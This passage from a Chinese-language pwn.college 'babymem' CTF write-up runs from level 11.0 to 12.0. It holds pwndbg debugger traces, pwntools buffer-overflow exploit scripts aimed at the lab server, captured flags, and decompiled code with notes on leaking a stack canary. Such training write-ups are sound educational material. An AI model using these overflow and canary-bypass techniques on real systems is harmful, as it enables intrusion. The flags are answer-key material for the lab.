07:0038│-028 0x7ffcf7830608 ◂— 0
───────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────
 ► 0   0x55e7d6a8cd2a challenge+188
   1   0x55e7d6a8d063 main+213
   2   0x7044dd90ae08
   3   0x7044dd90aecc __libc_start_main+140
   4   0x55e7d6a8c20e _start+46
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg&amp;gt; ni
0x000055e7d6a8cd2f in challenge ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────
*RAX  0x7044ddaff000 ◂— 0
 RBX  0x7ffcf7831798 —▸ 0x7ffcf78336bc ◂— &apos;/home/cub3y0nd/Projects/pwn.college/babymem-level-11-0&apos;
*RCX  0x7044dd9fa24c (mmap64+44) ◂— cmp rax, -0x1000 /* &apos;H=&apos; */
 RDX  3
 RDI  0
 RSI  0x1000
 R8   0
 R9   0
*R10  0x22
*R11  0x246
 R12  1
 R13  0
 R14  0x7044ddb3d000 (_rtld_global) —▸ 0x7044ddb3e2e0 —▸ 0x55e7d6a8b000 ◂— 0x10102464c457f
 R15  0
 RBP  0x7ffcf7830630 —▸ 0x7ffcf7831670 —▸ 0x7ffcf7831710 —▸ 0x7ffcf7831770 ◂— 0
 RSP  0x7ffcf78305d0 —▸ 0x55e7d6a8e4f9 ◂— 0x2023232300232323 /* &apos;###&apos; */
*RIP  0x55e7d6a8cd2f (challenge+193) ◂— mov qword ptr [rbp - 0x18], rax
────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────
   0x55e7d6a8cd2a &amp;lt;challenge+188&amp;gt;    call   mmap@plt                    &amp;lt;mmap@plt&amp;gt;

 ► 0x55e7d6a8cd2f &amp;lt;challenge+193&amp;gt;    mov    qword ptr [rbp - 0x18], rax     [0x7ffcf7830618] =&amp;gt; 0x7044ddaff000 ◂— 0
   0x55e7d6a8cd33 &amp;lt;challenge+197&amp;gt;    mov    esi, 0                          ESI =&amp;gt; 0
   0x55e7d6a8cd38 &amp;lt;challenge+202&amp;gt;    lea    rdi, [rip + 0x1530]             RDI =&amp;gt; 0x55e7d6a8e26f ◂— 0x67616c662f /* &apos;/flag&apos; */
   0x55e7d6a8cd3f &amp;lt;challenge+209&amp;gt;    mov    eax, 0                          EAX =&amp;gt; 0
   0x55e7d6a8cd44 &amp;lt;challenge+214&amp;gt;    call   open@plt                    &amp;lt;open@plt&amp;gt;

   0x55e7d6a8cd49 &amp;lt;challenge+219&amp;gt;    mov    dword ptr [rbp - 0x30], eax
   0x55e7d6a8cd4c &amp;lt;challenge+222&amp;gt;    mov    rcx, qword ptr [rbp - 0x18]
   0x55e7d6a8cd50 &amp;lt;challenge+226&amp;gt;    mov    eax, dword ptr [rbp - 0x30]
   0x55e7d6a8cd53 &amp;lt;challenge+229&amp;gt;    mov    edx, 0x400                      EDX =&amp;gt; 0x400
   0x55e7d6a8cd58 &amp;lt;challenge+234&amp;gt;    mov    rsi, rcx
─────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffcf78305d0 —▸ 0x55e7d6a8e4f9 ◂— 0x2023232300232323 /* &apos;###&apos; */
01:0008│-058 0x7ffcf78305d8 —▸ 0x7ffcf78317a8 —▸ 0x7ffcf78336f3 ◂— &apos;MOTD_SHOWN=pam&apos;
02:0010│-050 0x7ffcf78305e0 —▸ 0x7ffcf7831798 —▸ 0x7ffcf78336bc ◂— &apos;/home/cub3y0nd/Projects/pwn.college/babymem-level-11-0&apos;
03:0018│-048 0x7ffcf78305e8 ◂— 0x1d6a90010
04:0020│-040 0x7ffcf78305f0 —▸ 0x7ffcf7830630 —▸ 0x7ffcf7831670 —▸ 0x7ffcf7831710 —▸ 0x7ffcf7831770 ◂— ...
05:0028│-038 0x7ffcf78305f8 —▸ 0x7044dd967c80 (putchar+240) ◂— jmp 0x7044dd967bd6
06:0030│-030 0x7ffcf7830600 ◂— 0x230
07:0038│-028 0x7ffcf7830608 ◂— 0
───────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────
 ► 0   0x55e7d6a8cd2f challenge+193
   1   0x55e7d6a8d063 main+213
   2   0x7044dd90ae08
   3   0x7044dd90aecc __libc_start_main+140
   4   0x55e7d6a8c20e _start+46
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg&amp;gt; p/x $rax
$1 = 0x7044ddaff000
pwndbg&amp;gt; c
Continuing.

Breakpoint 2, 0x000055e7d6a8ce04 in challenge ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────
*RAX  0x23
 RBX  0x7ffcf7831798 —▸ 0x7ffcf78336bc ◂— &apos;/home/cub3y0nd/Projects/pwn.college/babymem-level-11-0&apos;
*RCX  0x22
 RDX  3
 RDI  0
*RSI  0x78
 R8   0
 R9   0
*R10  0
*R11  0x202
 R12  1
 R13  0
 R14  0x7044ddb3d000 (_rtld_global) —▸ 0x7044ddb3e2e0 —▸ 0x55e7d6a8b000 ◂— 0x10102464c457f
 R15  0
 RBP  0x7ffcf7830630 —▸ 0x7ffcf7831670 —▸ 0x7ffcf7831710 —▸ 0x7ffcf7831770 ◂— 0
 RSP  0x7ffcf78305d0 —▸ 0x55e7d6a8e4f9 ◂— 0x2023232300232323 /* &apos;###&apos; */
*RIP  0x55e7d6a8ce04 (challenge+406) ◂— call 0x55e7d6a8c150
────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────
 ► 0x55e7d6a8ce04 &amp;lt;challenge+406&amp;gt;    call   mmap@plt                    &amp;lt;mmap@plt&amp;gt;
        addr: 0
        len: 0x78
        prot: 3
        flags: 0x22
        fd: 0 (pipe:[532567])
        offset: 0

   0x55e7d6a8ce09 &amp;lt;challenge+411&amp;gt;    mov    qword ptr [rbp - 0x10], rax
   0x55e7d6a8ce0d &amp;lt;challenge+415&amp;gt;    mov    rax, qword ptr [rbp - 0x10]
   0x55e7d6a8ce11 &amp;lt;challenge+419&amp;gt;    mov    rsi, rax
   0x55e7d6a8ce14 &amp;lt;challenge+422&amp;gt;    lea    rdi, [rip + 0x14cd]             RDI =&amp;gt; 0x55e7d6a8e2e8 ◂— &apos;Called mmap(0, 120, PROT_READ|PROT_WRITE, MAP_PRIV...&apos;
   0x55e7d6a8ce1b &amp;lt;challenge+429&amp;gt;    mov    eax, 0                          EAX =&amp;gt; 0
   0x55e7d6a8ce20 &amp;lt;challenge+434&amp;gt;    call   printf@plt                  &amp;lt;printf@plt&amp;gt;

   0x55e7d6a8ce25 &amp;lt;challenge+439&amp;gt;    lea    rdi, [rip + 0x1508]     RDI =&amp;gt; 0x55e7d6a8e334 ◂— &apos;Payload size: &apos;
   0x55e7d6a8ce2c &amp;lt;challenge+446&amp;gt;    mov    eax, 0                  EAX =&amp;gt; 0
   0x55e7d6a8ce31 &amp;lt;challenge+451&amp;gt;    call   printf@plt                  &amp;lt;printf@plt&amp;gt;

   0x55e7d6a8ce36 &amp;lt;challenge+456&amp;gt;    lea    rax, [rbp - 0x28]
─────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffcf78305d0 —▸ 0x55e7d6a8e4f9 ◂— 0x2023232300232323 /* &apos;###&apos; */
01:0008│-058 0x7ffcf78305d8 —▸ 0x7ffcf78317a8 —▸ 0x7ffcf78336f3 ◂— &apos;MOTD_SHOWN=pam&apos;
02:0010│-050 0x7ffcf78305e0 —▸ 0x7ffcf7831798 —▸ 0x7ffcf78336bc ◂— &apos;/home/cub3y0nd/Projects/pwn.college/babymem-level-11-0&apos;
03:0018│-048 0x7ffcf78305e8 ◂— 0x1d6a90010
04:0020│-040 0x7ffcf78305f0 —▸ 0x7ffcf7830630 —▸ 0x7ffcf7831670 —▸ 0x7ffcf7831710 —▸ 0x7ffcf7831770 ◂— ...
05:0028│-038 0x7ffcf78305f8 ◂— 0x3dd967c80
06:0030│-030 0x7ffcf7830600 ◂— 0xffffffff
07:0038│-028 0x7ffcf7830608 ◂— 0
───────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────
 ► 0   0x55e7d6a8ce04 challenge+406
   1   0x55e7d6a8d063 main+213
   2   0x7044dd90ae08
   3   0x7044dd90aecc __libc_start_main+140
   4   0x55e7d6a8c20e _start+46
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg&amp;gt; ni
0x000055e7d6a8ce09 in challenge ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────
*RAX  0x7044ddafb000 ◂— 0
 RBX  0x7ffcf7831798 —▸ 0x7ffcf78336bc ◂— &apos;/home/cub3y0nd/Projects/pwn.college/babymem-level-11-0&apos;
*RCX  0x7044dd9fa24c (mmap64+44) ◂— cmp rax, -0x1000 /* &apos;H=&apos; */
 RDX  3
 RDI  0
 RSI  0x78
 R8   0
 R9   0
*R10  0x22
*R11  0x246
 R12  1
 R13  0
 R14  0x7044ddb3d000 (_rtld_global) —▸ 0x7044ddb3e2e0 —▸ 0x55e7d6a8b000 ◂— 0x10102464c457f
 R15  0
 RBP  0x7ffcf7830630 —▸ 0x7ffcf7831670 —▸ 0x7ffcf7831710 —▸ 0x7ffcf7831770 ◂— 0
 RSP  0x7ffcf78305d0 —▸ 0x55e7d6a8e4f9 ◂— 0x2023232300232323 /* &apos;###&apos; */
*RIP  0x55e7d6a8ce09 (challenge+411) ◂— mov qword ptr [rbp - 0x10], rax
────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────
   0x55e7d6a8ce04 &amp;lt;challenge+406&amp;gt;    call   mmap@plt                    &amp;lt;mmap@plt&amp;gt;

 ► 0x55e7d6a8ce09 &amp;lt;challenge+411&amp;gt;    mov    qword ptr [rbp - 0x10], rax     [0x7ffcf7830620] =&amp;gt; 0x7044ddafb000 ◂— 0
   0x55e7d6a8ce0d &amp;lt;challenge+415&amp;gt;    mov    rax, qword ptr [rbp - 0x10]     RAX, [0x7ffcf7830620] =&amp;gt; 0x7044ddafb000 ◂— 0
   0x55e7d6a8ce11 &amp;lt;challenge+419&amp;gt;    mov    rsi, rax                        RSI =&amp;gt; 0x7044ddafb000 ◂— 0
   0x55e7d6a8ce14 &amp;lt;challenge+422&amp;gt;    lea    rdi, [rip + 0x14cd]             RDI =&amp;gt; 0x55e7d6a8e2e8 ◂— &apos;Called mmap(0, 120, PROT_READ|PROT_WRITE, MAP_PRIV...&apos;
   0x55e7d6a8ce1b &amp;lt;challenge+429&amp;gt;    mov    eax, 0                          EAX =&amp;gt; 0
   0x55e7d6a8ce20 &amp;lt;challenge+434&amp;gt;    call   printf@plt                  &amp;lt;printf@plt&amp;gt;

   0x55e7d6a8ce25 &amp;lt;challenge+439&amp;gt;    lea    rdi, [rip + 0x1508]     RDI =&amp;gt; 0x55e7d6a8e334 ◂— &apos;Payload size: &apos;
   0x55e7d6a8ce2c &amp;lt;challenge+446&amp;gt;    mov    eax, 0                  EAX =&amp;gt; 0
   0x55e7d6a8ce31 &amp;lt;challenge+451&amp;gt;    call   printf@plt                  &amp;lt;printf@plt&amp;gt;

   0x55e7d6a8ce36 &amp;lt;challenge+456&amp;gt;    lea    rax, [rbp - 0x28]
─────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffcf78305d0 —▸ 0x55e7d6a8e4f9 ◂— 0x2023232300232323 /* &apos;###&apos; */
01:0008│-058 0x7ffcf78305d8 —▸ 0x7ffcf78317a8 —▸ 0x7ffcf78336f3 ◂— &apos;MOTD_SHOWN=pam&apos;
02:0010│-050 0x7ffcf78305e0 —▸ 0x7ffcf7831798 —▸ 0x7ffcf78336bc ◂— &apos;/home/cub3y0nd/Projects/pwn.college/babymem-level-11-0&apos;
03:0018│-048 0x7ffcf78305e8 ◂— 0x1d6a90010
04:0020│-040 0x7ffcf78305f0 —▸ 0x7ffcf7830630 —▸ 0x7ffcf7831670 —▸ 0x7ffcf7831710 —▸ 0x7ffcf7831770 ◂— ...
05:0028│-038 0x7ffcf78305f8 ◂— 0x3dd967c80
06:0030│-030 0x7ffcf7830600 ◂— 0xffffffff
07:0038│-028 0x7ffcf7830608 ◂— 0
───────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────
 ► 0   0x55e7d6a8ce09 challenge+411
   1   0x55e7d6a8d063 main+213
   2   0x7044dd90ae08
   3   0x7044dd90aecc __libc_start_main+140
   4   0x55e7d6a8c20e _start+46
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg&amp;gt; dist $rax $1
0x7044ddafb000-&amp;gt;0x7044ddaff000 is 0x4000 bytes (0x800 words)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import ELF, context, gdb, log, pause, process, remote

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babymem-level-11-0&quot;
HOST = &quot;pwn.college&quot;
PORT = 1337

gdbscript = &quot;&quot;&quot;
b *challenge+188
b *challenge+406
c
&quot;&quot;&quot;


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


padding = b&quot;&quot;.ljust(0x4000, b&quot;A&quot;)


def send_payload(target, payload):
    try:
        payload_size = f&quot;{len(payload)}&quot;.encode()
        target.recvuntil(b&quot;Payload size: &quot;)
        target.sendline(payload_size)
        target.recvuntil(b&quot;Send your payload&quot;)
        target.send(payload)

        response = target.recvall()

        return b&quot;pwn.college{&quot; in response
    except Exception as e:
        log.exception(f&quot;An error occurred: {e}&quot;)


try:
    target = launch(debug=False)

    payload = padding

    if send_payload(target, payload):
        log.success(&quot;Success! Exiting...&quot;)

        pause()
        exit()
except Exception as e:
    log.exception(f&quot;An error occurred in main loop: {e}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{oNJmkkep5Mt0PwVQdAiStSjA960.0VOwMDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 11.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Overflow a buffer and leak the flag. Be warned, this requires careful and clever payload construction!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;和上题一样的哥……&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import ELF, context, gdb, log, pause, process, remote

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babymem-level-11-1&quot;
HOST = &quot;pwn.college&quot;
PORT = 1337

gdbscript = &quot;&quot;&quot;
b *challenge+104
b *challenge+262
b *challenge+352
c
&quot;&quot;&quot;


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


padding = b&quot;&quot;.ljust(0x4000, b&quot;A&quot;)


def send_payload(target, payload):
    try:
        payload_size = f&quot;{len(payload)}&quot;.encode()
        target.recvuntil(b&quot;Payload size: &quot;)
        target.sendline(payload_size)
        target.recvuntil(b&quot;Send your payload&quot;)
        target.send(payload)

        response = target.recvall()

        return b&quot;pwn.college{&quot; in response
    except Exception as e:
        log.exception(f&quot;An error occurred: {e}&quot;)


try:
    target = launch(debug=False)

    payload = padding

    if send_payload(target, payload):
        log.success(&quot;Success! Exiting...&quot;)

        pause()
        exit()
except Exception as e:
    log.exception(f&quot;An error occurred in main loop: {e}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{I5165He8SxPMM_8YzEz5DkzRZ1c.0FMxMDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 12.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Defeat a stack canary in a PIE binary by utilizing a bug left in the binary.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;__int64 __fastcall challenge(unsigned int a1, __int64 a2, __int64 a3)
{
  int *v3; // rax
  char *v4; // rax
  __int64 v6; // [rsp+0h] [rbp-60h] BYREF
  __int64 v7; // [rsp+8h] [rbp-58h]
  __int64 v8; // [rsp+10h] [rbp-50h]
  unsigned int v9; // [rsp+1Ch] [rbp-44h]
  int v10; // [rsp+2Ch] [rbp-34h]
  size_t nbytes; // [rsp+30h] [rbp-30h] BYREF
  void *buf; // [rsp+38h] [rbp-28h]
  _QWORD v13[2]; // [rsp+40h] [rbp-20h] BYREF
  char v14; // [rsp+50h] [rbp-10h]
  unsigned __int64 v15; // [rsp+58h] [rbp-8h]
  __int64 savedregs; // [rsp+60h] [rbp+0h] BYREF
  _UNKNOWN *retaddr; // [rsp+68h] [rbp+8h] BYREF

  v9 = a1;
  v8 = a2;
  v7 = a3;
  v15 = __readfsqword(0x28u);
  v13[0] = 0LL;
  v13[1] = 0LL;
  v14 = 0;
  buf = v13;
  nbytes = 0LL;
  puts(&quot;The challenge() function has just been launched!&quot;);
  sp_ = (__int64)&amp;amp;v6;
  bp_ = (__int64)&amp;amp;savedregs;
  sz_ = ((unsigned __int64)((char *)&amp;amp;savedregs - (char *)&amp;amp;v6) &amp;gt;&amp;gt; 3) + 2;
  rp_ = (__int64)&amp;amp;retaddr;
  puts(&quot;Before we do anything, let&apos;s take a look at challenge()&apos;s stack frame:&quot;);
  DUMP_STACK(sp_, sz_);
  printf(&quot;Our stack pointer points to %p, and our base pointer points to %p.\n&quot;, (const void *)sp_, (const void *)bp_);
  printf(&quot;This means that we have (decimal) %d 8-byte words in our stack frame,\n&quot;, sz_);
  puts(&quot;including the saved base pointer and the saved return address, for a&quot;);
  printf(&quot;total of %d bytes.\n&quot;, 8 * sz_);
  printf(&quot;The input buffer begins at %p, partway through the stack frame,\n&quot;, buf);
  puts(&quot;(\&quot;above\&quot; it in the stack are other local variables used by the function).&quot;);
  puts(&quot;Your input will be read into this buffer.&quot;);
  printf(&quot;The buffer is %d bytes long, but the program will let you provide an arbitrarily\n&quot;, 17);
  puts(&quot;large input length, and thus overflow the buffer.\n&quot;);
  puts(&quot;In this level, there is no \&quot;win\&quot; variable.&quot;);
  puts(&quot;You will need to force the program to execute the win_authed() function&quot;);
  puts(&quot;by directly overflowing into the stored return address back to main,&quot;);
  printf(
    &quot;which is stored at %p, %d bytes after the start of your input buffer.\n&quot;,
    (const void *)rp_,
    rp_ - (_DWORD)buf);
  printf(
    &quot;That means that you will need to input at least %d bytes (%d to fill the buffer,\n&quot;,
    rp_ - (_DWORD)buf + 8,
    17);
  printf(&quot;%d to fill other stuff stored between the buffer and the return address,\n&quot;, rp_ - (_DWORD)buf - 17);
  puts(&quot;and 8 that will overwrite the return address).\n&quot;);
  cp_ = bp_;
  cv_ = __readfsqword(0x28u);
  while ( *(_QWORD *)cp_ != cv_ )
    cp_ -= 8LL;
  puts(&quot;Because the binary is position independent, you cannot know&quot;);
  puts(&quot;exactly where the win_authed() function is located.&quot;);
  puts(&quot;This means that it is not clear what should be written into the return address.\n&quot;);
  printf(&quot;Payload size: &quot;);
  __isoc99_scanf(&quot;%lu&quot;, &amp;amp;nbytes);
  printf(&quot;You have chosen to send %lu bytes of input!\n&quot;, nbytes);
  printf(&quot;This will allow you to write from %p (the start of the input buffer)\n&quot;, buf);
  printf(
    &quot;right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n&quot;,
    (char *)buf + nbytes,
    nbytes - 17);
  printf(&quot;Of these, you will overwrite %d bytes into the return address.\n&quot;, nbytes + (_DWORD)buf - rp_);
  puts(&quot;If that number is greater than 8, you will overwrite the entire return address.\n&quot;);
  puts(&quot;Overwriting the entire return address is fine when we know&quot;);
  puts(&quot;the whole address, but here, we only really know the last three nibbles.&quot;);
  puts(&quot;These nibbles never change, because pages are aligned to 0x1000.&quot;);
  puts(&quot;This gives us a workaround: we can overwrite the least significant byte&quot;);
  puts(&quot;of the saved return address, which we can know from debugging the binary,&quot;);
  puts(&quot;to retarget the return to main to any instruction that shares the other 7 bytes.&quot;);
  puts(&quot;Since that last byte will be constant between executions (due to page alignment),&quot;);
  puts(&quot;this will always work.&quot;);
  puts(&quot;If the address we want to redirect execution to is a bit farther away from&quot;);
  puts(&quot;the saved return address, and we need to write two bytes, then one of those&quot;);
  puts(&quot;nibbles (the fourth least-significant one) will be a guess, and it will be&quot;);
  puts(&quot;incorrect 15 of 16 times.&quot;);
  puts(&quot;This is okay: we can just run our exploit a few times until it works&quot;);
  puts(&quot;(statistically, ~50% chance after 11 times and ~90% chance after 36 times).&quot;);
  puts(&quot;One caveat in this challenge is that the win_authed() function must first auth:&quot;);
  puts(&quot;it only lets you win if you provide it with the argument 0x1337.&quot;);
  puts(&quot;Speifically, the win_authed() function looks something like:&quot;);
  puts(&quot;    void win_authed(int token)&quot;);
  puts(&quot;    {&quot;);
  puts(&quot;      if (token != 0x1337) return;&quot;);
  puts(&quot;      puts(\&quot;You win! Here is your flag: \&quot;);&quot;);
  puts(&quot;      sendfile(1, open(\&quot;/flag\&quot;, 0), 0, 256);&quot;);
  puts(&quot;      puts(\&quot;\&quot;);&quot;);
  puts(&quot;    }&quot;);
  puts(byte_3E5B);
  puts(&quot;So how do you pass the check? There *is* a way, and we will cover it later,&quot;);
  puts(&quot;but for now, we will simply bypass it! You can overwrite the return address&quot;);
  puts(&quot;with *any* value (as long as it points to executable code), not just the start&quot;);
  puts(&quot;of functions. Let&apos;s overwrite past the token check in win!\n&quot;);
  puts(&quot;To do this, we will need to analyze the program with objdump, identify where&quot;);
  puts(&quot;the check is in the win_authed() function, find the address right after the check,&quot;);
  puts(&quot;and write that address over the saved return address.\n&quot;);
  puts(&quot;Go ahead and find this address now. When you&apos;re ready, input a buffer overflow&quot;);
  printf(
    &quot;that will overwrite the saved return address (at %p, %d bytes into the buffer)\n&quot;,
    (const void *)rp_,
    rp_ - (_DWORD)buf);
  puts(&quot;with the correct value.\n&quot;);
  printf(&quot;Send your payload (up to %lu bytes)!\n&quot;, nbytes);
  v10 = read(0, buf, nbytes);
  if ( v10 &amp;lt; 0 )
  {
    v3 = __errno_location();
    v4 = strerror(*v3);
    printf(&quot;ERROR: Failed to read input -- %s!\n&quot;, v4);
    exit(1);
  }
  printf(&quot;You sent %d bytes!\n&quot;, v10);
  puts(&quot;Let&apos;s see what happened with the stack:\n&quot;);
  DUMP_STACK(sp_, sz_);
  puts(&quot;The program&apos;s memory status:&quot;);
  printf(&quot;- the input buffer starts at %p\n&quot;, buf);
  printf(&quot;- the saved frame pointer (of main) is at %p\n&quot;, (const void *)bp_);
  printf(&quot;- the saved return address (previously to main) is at %p\n&quot;, (const void *)rp_);
  printf(&quot;- the saved return address is now pointing to %p.\n&quot;, *(const void **)rp_);
  printf(&quot;- the canary is stored at %p.\n&quot;, (const void *)cp_);
  printf(&quot;- the canary value is now %p.\n&quot;, *(const void **)cp_);
  printf(&quot;- the address of win_authed() is %p.\n&quot;, win_authed);
  putchar(10);
  puts(&quot;If you have managed to overwrite the return address with the correct value,&quot;);
  puts(&quot;challenge() will jump straight to win_authed() when it returns.&quot;);
  printf(&quot;Let&apos;s try it now!\n\n&quot;);
  if ( (unsigned __int64)buf + v10 &amp;gt; rp_ + 2 )
  {
    puts(&quot;WARNING: You sent in too much data, and overwrote more than two bytes of the address.&quot;);
    puts(&quot;         This can still work, because I told you the correct address to use for&quot;);
    puts(&quot;         this execution, but you should not rely on that information.&quot;);
    puts(&quot;         You can solve this challenge by only overwriting two bytes!&quot;);
    puts(&quot;         &quot;);
  }
  printf(&quot;You said: %s\n&quot;, (const char *)buf);
  puts(&quot;This challenge has a trick hidden in its code. Reverse-engineer the binary right after this puts()&quot;);
  puts(&quot;call to see the hidden backdoor!&quot;);
  if ( strstr((const char *)buf, &quot;REPEAT&quot;) )
  {
    puts(&quot;Backdoor triggered! Repeating challenge()&quot;);
    return challenge(v9, v8, v7);
  }
  else
  {
    puts(&quot;Goodbye!&quot;);
    return 0LL;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;虽说是一道蛮综合的题，不过我感觉不算难，就简单说说思路好了。这个程序的问题就在于我们可以提供任意输入溢出 &lt;code&gt;buf&lt;/code&gt;，覆盖返回地址。但是这里有一个 canary 保护需要绕过。&lt;/p&gt;
&lt;p&gt;我们注意到有一条 &lt;code&gt;printf&lt;/code&gt; 会输出我们栈上的内容，那我们是不是可以填满整个 &lt;code&gt;buf&lt;/code&gt;，直到 canary 为止？这样 &lt;code&gt;printf&lt;/code&gt; 就会把 canary 泄漏出来。结合 &lt;code&gt;printf&lt;/code&gt; 判断字符串结束的机制，以及 &lt;code&gt;canary&lt;/code&gt; 固定以 &lt;code&gt;\x00&lt;/code&gt; 结尾，我们需要用一个任意字符填上这个空，这样就把 canary 泄漏出来了。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;strstr&lt;/code&gt; 函数的定义如下，它会从 &lt;code&gt;haystack&lt;/code&gt; 中搜索 &lt;code&gt;needle&lt;/code&gt; 第一次出现的位置，返回这个位置的指针。如果没匹配到，则返回 &lt;code&gt;NULL&lt;/code&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// attributes: thunk
char *strstr(const char *haystack, const char *needle)
{
  return strstr(haystack, needle);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;对于这个函数最好还知道：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;如果 &lt;code&gt;needle&lt;/code&gt; 是空字符串，则 &lt;code&gt;strstr&lt;/code&gt; 总是返回 &lt;code&gt;haystack&lt;/code&gt; 的指针。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;strstr&lt;/code&gt; 是大小写敏感的，&lt;code&gt;strcasestr&lt;/code&gt; 大小写不敏感。&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;还有 &lt;code&gt;strchr&lt;/code&gt; 返回字符串中第一个匹配的字符的指针。&lt;code&gt;memcmp&lt;/code&gt; 比较指定内存区域的内容，适用于更通用的场景，&lt;code&gt;strstr&lt;/code&gt; 则是处理简单字符串匹配问题的实用工具，适用于无需高性能优化的场景。&lt;/p&gt;
&lt;p&gt;说这些只是我觉得了解下说不定会有帮助，要是哪天比赛碰上了，到时候能不能查还说不准…… ~（想起了乔布斯说的：美妙人生，把点连成线）~&lt;/p&gt;
&lt;p&gt;~好吧，其实主要是 &lt;code&gt;ChatGPT&lt;/code&gt; 都说了，那我可不得好好利用一下，啰嗦两句？xD~&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;code&gt;if ( strstr((const char *)buf, &quot;REPEAT&quot;) )&lt;/code&gt; 判断输入中是否包含 &lt;code&gt;REPEAT&lt;/code&gt;，如果包含的话就会再次调用 &lt;code&gt;challenge&lt;/code&gt;。因为是同一个进程再次调用 &lt;code&gt;challenge&lt;/code&gt;，所以 canary 的值不会改变，这就让我们泄漏出来的 canary 派上用场了。&lt;/p&gt;
&lt;p&gt;绕过这个 &lt;code&gt;win_authed&lt;/code&gt; 检测没啥好说的了吧，返回地址重定位到内部代码块开始执行即可。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void __fastcall win_authed(int a1)
{
  int *v1; // rax
  char *v2; // rax
  int *v3; // rax
  char *v4; // rax

  if ( a1 == 4919 )
  {
    puts(&quot;You win! Here is your flag:&quot;);
    flag_fd_5715 = open(&quot;/flag&quot;, 0);
    if ( flag_fd_5715 &amp;lt; 0 )
    {
      v1 = __errno_location();
      v2 = strerror(*v1);
      printf(&quot;\n  ERROR: Failed to open the flag -- %s!\n&quot;, v2);
      if ( geteuid() )
      {
        puts(&quot;  Your effective user id is not 0!&quot;);
        puts(&quot;  You must directly run the suid binary in order to have the correct permissions!&quot;);
      }
      exit(-1);
    }
    flag_length_5716 = read(flag_fd_5715, &amp;amp;flag_5714, 0x100uLL);
    if ( flag_length_5716 &amp;lt;= 0 )
    {
